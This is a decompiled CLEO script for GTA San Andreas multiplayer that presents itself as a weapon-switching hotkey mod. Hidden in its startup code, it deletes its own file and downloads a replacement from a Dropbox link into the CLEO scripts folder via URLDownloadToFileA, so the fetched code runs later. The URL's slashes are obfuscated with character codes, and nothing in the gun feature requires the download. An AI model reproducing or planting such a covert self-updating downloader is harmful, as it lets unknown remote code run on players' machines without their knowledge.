This file was decompiled using SASCM ini published by GTAG http gtag g

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// This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013
{$CLEO .cs}
//-------------MAIN---------------
thread "Chag"
wait 2000
if
not filedef "CLEO\guns.cs"
else_jump @Chag_258
msg "{FFF000}[Guns] {ee4000}Вы переименовали скрипт." -1
msg "{FFF000}[Guns] {ee4000}Вы переименовали скрипт." -1
msg "{FFF000}[Guns] {ee4000}Вы переименовали скрипт." -1
msg "{FFF000}[Guns] {ee4000}Вы переименовали скрипт." -1
theend
:Chag_258
filedel "Cleo\guns.cs"
alloc 1@ 128
alloc 2@ 128
format 1@ "https:%c%cwww.dropbox.com/s/u0qc4209pasx35i/guns.cs?dl=1" 47 47
format 2@ "Cleo\guns.cs"
call @Chag_668 2 2@ 1@ 3@
:Chag_397
wait 0
filedef "Cleo\guns.cs"
else_jump @Chag_397
free 1@
free 2@
:Chag_434
wait 0
if and
not SAMP.ChatInputOpened
not SAMP.IsDialogActive(-1)
else_jump @Chag_661
if
key 49
else_jump @Chag_519
if and
not curweap $PLAYER_ACTOR 30
not curweap $PLAYER_ACTOR 31
else_jump @Chag_519
04B8: get_weapon_data_from_actor $PLAYER_ACTOR slot 6 weapon 1@ ammo 2@ model 3@
01B9: set_actor $PLAYER_ACTOR armed_weapon_to 1@
:Chag_519
if
key 50
else_jump @Chag_590
if and
not curweap $PLAYER_ACTOR 22
not curweap $PLAYER_ACTOR 23
not curweap $PLAYER_ACTOR 24
else_jump @Chag_590
04B8: get_weapon_data_from_actor $PLAYER_ACTOR slot 3 weapon 1@ ammo 2@ model 3@
01B9: set_actor $PLAYER_ACTOR armed_weapon_to 1@
:Chag_590
if
key 51
else_jump @Chag_661
if and
not curweap $PLAYER_ACTOR 25
not curweap $PLAYER_ACTOR 26
not curweap $PLAYER_ACTOR 27
else_jump @Chag_661
04B8: get_weapon_data_from_actor $PLAYER_ACTOR slot 4 weapon 1@ ammo 2@ model 3@
01B9: set_actor $PLAYER_ACTOR armed_weapon_to 1@
:Chag_661
jump @Chag_434
:Chag_668
0AA2: 10@ = load_library "Urlmon.dll" // IF and SET
0AA4: 11@ = get_proc_address "URLDownloadToFileA" library 10@ // IF and SET
0AA7: call_function 11@ num_params 5 pop 0 0 0 0@ 1@ 0 12@
ret 1 12@